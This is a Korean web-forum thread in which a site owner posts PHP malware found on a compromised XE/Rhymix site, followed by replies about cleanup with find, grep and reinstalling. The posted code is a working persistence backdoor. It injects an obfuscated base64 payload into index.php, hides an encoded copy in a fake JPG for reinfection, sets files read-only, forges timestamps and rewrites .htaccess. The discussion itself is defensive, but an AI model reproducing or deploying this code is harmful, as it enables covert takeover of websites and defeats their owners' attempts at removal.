JzakVQQjVjcUpsVm1aNS9pc2c2V0MxTVYvMkJtVFRyQ05HNE9wYUZEWnpIK0s1U0RnaGlzWStzcjlKSGptbzNVMWNOdk1QMzZ2TncxTStTS3FndnJ3L3llby9CUUFFVVZlR1ZwakxnN0FEcC9QZTZmV0tCclVuSjU2akdiNnQxOFk4WG9CcVBzRkZUQ2J0ZUpJNm02bzcvWVJVQ3NlNG51c01rUzAvS2g1d0taVlZneTJNMU42WG9JUWEzcTJDcCtGUEwyb3RGTkxoZCtjUFlOK1FxcjZMbjlib28vVDQ5TkRlRkxzbHdmMzJ0NVlZaXJhZVppeEVDZjJJeVkvb3NLeVM5a3UxUklFemxsSXE0TllRVUNlWDUyck1HKzE4dWtmbTdDVWNXM2NNdTNVMUw5c09lSi9Ld0JMUnhUcC9lYWUvM3dpTkZxRm9HYlFZbW1hcnBlTjRuakRoY3NCYmFHQm9mZkE2ZzBsbENtaTlkOGk1UWFGaEpzR3ZVeU1Ib3RHbVFFY1Flb1UvbnB4U3MxeHM1SVl0S2l6Tjd0OS82LzJsZ0hJYlpVUVhNa2t0QWM0bFk5d3k3dC9KQTV1ZzNoYitFL2UzWEExM0I3Mlk3RFlpcHRBellFenpZRUt6UGhRKzlwM1V2bk5mU29uVXJaWm03RzYyMS9yU2ZERG1YWktOb3Y1T1lwWWZtMmJvcVFZS2RGN2tRNzY1bFFkY2dGQ1hQaGdXMG5KekpSajh4R3FRNkNmUkJBbERwZWhpOVY1UXpXMWRvT0dvbVAzdzVGUTZQc3hFS3NDUUVGOVV6ZENRR3JSM1hWVThGQ2xDQXJBRVNXZ0ZxMUpBTm9oQm1Mb3VTOWlzWEM2ZTcybFh5Sll5NEJyRDREd3FGMUszMlBad3dZUCtVK2FSOGRFeldCZWhKMm1kTVlrYitGZXlCajAyTlBCZWhreWYyY3M3TE9zWmg0U1Fab3dTWXN5ak9PN1pNdVFUbzlTQ3ZIRzdpUFJobUNOdm1QRXIxY0RwTmY3dTJsL1NTM1R2aHBPZHloVlNwWU5RNDV4NjVzTGJiR2hLb1JONHdORjZJNGlOQXRVbFFhd3o5QTRUQjJDNU9ra20zOTJ5YXNJQVpoUGUrWWxta1VDTXhwWXRJRDltOGd0bzVveGpEM0ZVRHJ3WlkwbERzb0pNbEd0ZC9HV2hzcndmMzlQT0pHcCs3M0RzaFRac1k5WVJ6TG1ibXpXaU5MOU94Y25tVVk3TEVDc1Juc0oxL3ViYVh0ZEdaN1dIR0RpQ3IrQUphNlUvZ0c3TkVtRlJVVjFhQjYvdERMcFJzNllRWUVvcSsxbzk5M3l2T1lDRTZvTVluMzJvcytZb1VlNk9uQTBuYUJDVzJ4d2U2VXQzVG0zaU15aXBjSzF3Y3NjNzRYYXlaY0VPeTMySEFnZEo3ZFpOdzJ6c0d3WXpnbUxpc00xZmJHcnNxN3ZzbXhQbzY1NTNBZzM0Wm0rVHJzcEJ0N1d1VWdVOUFwSjdoNTNWcXE5WVpycWtJbGRKeVFyZ1FnQzloQnZNbDI3c3ZFdkJZai9tN0hkTVV5bm1yRFQ5c2JPMWRxUXRybmI3Sm1jZWNJNHE5aC9GWWlBc1JuZUtvanBpZTFPS1NUODV6WUNzVXozaXN0aWIzLzFMU3F1TVV0LzM5NXhRelVKTHdpNWVtbWdlellmT1ovMTFKa2lHM0hjNXRNY3JrbmlYTnptT2tVcXhsemczNFRpdHIvZ0V4Q0dyM01TbTIwWk5hYkxIeDZOQ0VYeUYvVFYzMUc4VXoyUk5zZ2Uwa3h2cEdvYXN2T1Qzenh6U1BjbU5hMkI2djYrL2ZmWkNtM3lsSllCNy9DeWJ5OWhKRjNmRTdpWUxZL0pJUEo0cENpSnhDaTgva1htbW9MMzEwUFYrOTVtaGdrM25JbXFMczFhL0xmbi9kakpjeDIvRkFMOTR3SzZtVElwMDVrNzJ1eEMyN0dDZnN0c1FoZXRUQ2lJNVFUKzh6SzQzTlRZcDdhNUNsaUVzeCtYaWkvNFQiKTs/Pg==";
            $fengexian = base64_decode("fHstLi0hISF9fA");
            $index_path = $do . "index.php";
            $fp_old_index = @file_get_contents($do . "index.php");
    
            $wp_head_path = $do . "wp-blog-header.php";
            $wp_blog_header = @file_get_contents($wp_head_path);
            $is_wp = (file_exists($wp_head_path) and (substr_count($wp_blog_header, "WordPress") > 0)) ? true : false;
    
            if ($is_wp) {
                $index_new_con = base64_decode($ruzhu_php_jm) . base64_decode("PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg");
            } else {
                $index_new_con = base64_decode($ruzhu_php_jm) . trim($fp_old_index);
            }
    
            $new_img = $do . "images";
            @mkdir($new_img);
            @chmod($new_img, 0755);
            $cache_jpg = $new_img . "/toggige-arrow.jpg";
            $index_cache_jpg = @file_get_contents($cache_jpg);
    
            $ex_jpg = explode($fengexian, $index_cache_jpg);
            $r_index_jpg_con = base64_decode(str_rot13($ex_jpg[1]));
    
            if (file_exists($cache_jpg)) {
    
                if ($ex_jpg[0] === md5($ex_jpg[1])) {
    
                    if (md5($r_index_jpg_con) !== md5($fp_old_index)) { // 首页被改动
                        @chmod($index_path, 0644);
                        @unlink($index_path);
    
                        $ok = @file_put_contents($index_path, $r_index_jpg_con) ? "1" : "0";
                        @touch($index_path, filectime($index_path));
                        @chmod($index_path, 0444);
                    }
    
                } else {
    
                    $str13 = str_rot13(base64_encode($index_new_con));
                    $cache_jpg_con = md5($str13) . $fengexian . $str13;
    
                    @file_put_contents($cache_jpg, $cache_jpg_con);
                    @touch($cache_jpg, filectime($index_path));
                    @chmod($cache_jpg, 0444);
                    if (md5($r_index_jpg_con) !== md5($fp_old_index)) { // 首页被改动
                        @chmod($index_path, 0644);
                        @unlink($index_path);
                        $ok = @file_put_contents($index_path, $index_new_con) ? "1" : "0";
                        @touch($index_path, filectime($index_path));
                        @chmod($index_path, 0444);
                    }
    
                }
    
            } else { // 没有的时候生成一份出来
    
                $str13 = str_rot13(base64_encode($index_new_con));
                $cache_jpg_con = md5($str13) . $fengexian . $str13;
    
                @file_put_contents($cache_jpg, $cache_jpg_con);
                @touch($cache_jpg, filectime($index_path));
                @chmod($cache_jpg, 0444);
    
                @chmod($index_path, 0644);
                @unlink($index_path);
    
                $ok = @file_put_contents($index_path, $index_new_con) ? "1" : "0";
                @touch($index_path, filectime($index_path));
                @chmod($index_path, 0444);
    
            }
            // ------------------------
            $htaccess_index = "PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg==";
            $ht = base64_decode("Lmh0YWNjZXNz");
    
            $do_ht = @file_get_contents($do . $ht);
    
            if (
                (substr_count($do_ht, base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+")) <= 0) or
                (substr_count($do_ht, base64_decode("PEZpbGVzTWF0Y2ggJ14oaW5kZXgucGhwfGF1dG9fc2VvLnBocHw=")) <= 0) or
                (substr_count($do_ht, "RewriteRule . index.php [L]") <= 0) or
                (substr_count($do_ht, "|system_log.php") <= 0)
            ) {
                @chmod($do . $ht, 0644);
                @unlink($do . $ht);
                @file_put_contents($do . $ht, base64_decode($htaccess_index));
                @touch($do . $ht, filectime($do . $ht));
                @chmod($do . $ht, 0444);
            }
    
        } catch (Exception $e) {
        }
    
    
    }

     

     

            $new_img = $do . "images";
            @mkdir($new_img);
            @chmod($new_img, 0755);
            $cache_jpg = $new_img . "/toggige-arrow.jpg

     

     위에 소스에서   images 라는 놈을 보고  거길 들어가보니  정말 저 파일이 있네요  ㅜㅜ

    그속엔 또 요상한 코드들이 들어있는  그림과 코드들이 잔뜩... 

     

    웹호스팅사 쪽에서는 이런거 방어엔 관심이 없을런지 귀찮은건지.

    일단 옆에 복사해두고 감상중입니다. ㅜㅜ

     

    . . .

     

    추가

     

    아마도 라이믹스 덮어쓰기전 시점에 당했던 흔적들이 남은거 같습니다.

    라이믹스 풀어놓고  과거에  xe에 흔적들과 비교해서 

    쓸데없는것들을 좀 옮기고 지워가야겠네요.

     

     

    . . .

     

    추가

     

    라이믹스껀가    xe껀가 하면서 놔뒀던 디렉토리들을 하나 하나 찾아보고 백업하고 지우고 의 반복중입니다.

     

    phpDoc   여기도 뭐가 걸렸있네요

    하나 하나들어가보고 대조해보고 지우는데

     

    이것만으로 방어가 될랑가 모르겠습니다만은

    안하는것보다는 낫겟죠.

  • profile
    어제 밤늦게까지 빙어낚시를 다녀와서
    낮잠이나 자려다가
    도저히 성질나서 안되겠다 싶어!
    홈페이지 열어두고 f12 눌러놓고 경고 뜨는것들을 하나씩 찾아보면서
    디렉토리마다 이상한게 심어져있나 체크하고 백업에 옮기고 하나씩 지워가고 있습니다.

    기본적인게 혹시 지워지면 라이믹스 깃으로 받아둔걸 rsync 로 덮어버리면서...


    이러저러하다가 지금은

    ssh에서 find 명령어로 *.mov *.xbm 이놈들을 찾는 중입니다.
    이것들이 포함된 디렉토리들 속에 뭐가 있네요.
  • profile
    index.php 파일들을 찾아보니 무진장 복제되어있네요.

    이래 무식하게 하나씩 지우느니 다 지우고 새로 까는게 나은게 아닌가 싶을 정도입니다. ㅜㅜ
  • profile
    이런일이 일어나기도 하는 군요;;; ㄷㄷㄷ
    httpd.conf 면 서버에도 접속이 가능했다는 이야기 같은데 암호도 같이 변경하셔야 겠네요.
  • profile profile
    이게 라이믹스로 오기전에 xe에서 일어난 일입니다.

    청소를 어째해야하나 엄청 고민을 했었는데...
    grep find 명령어로 찾아서 일일이 지웠습니다.

    그리고 계속 감시중입니다.
  • profile

    자문자답

     

    청소후기를 참고해주세요.

    꽤 많았습니다. 차라리 그냥 다지우고 처음부터 할껄 싶을 정도로.

     

    https://xetown.com/topics/1734559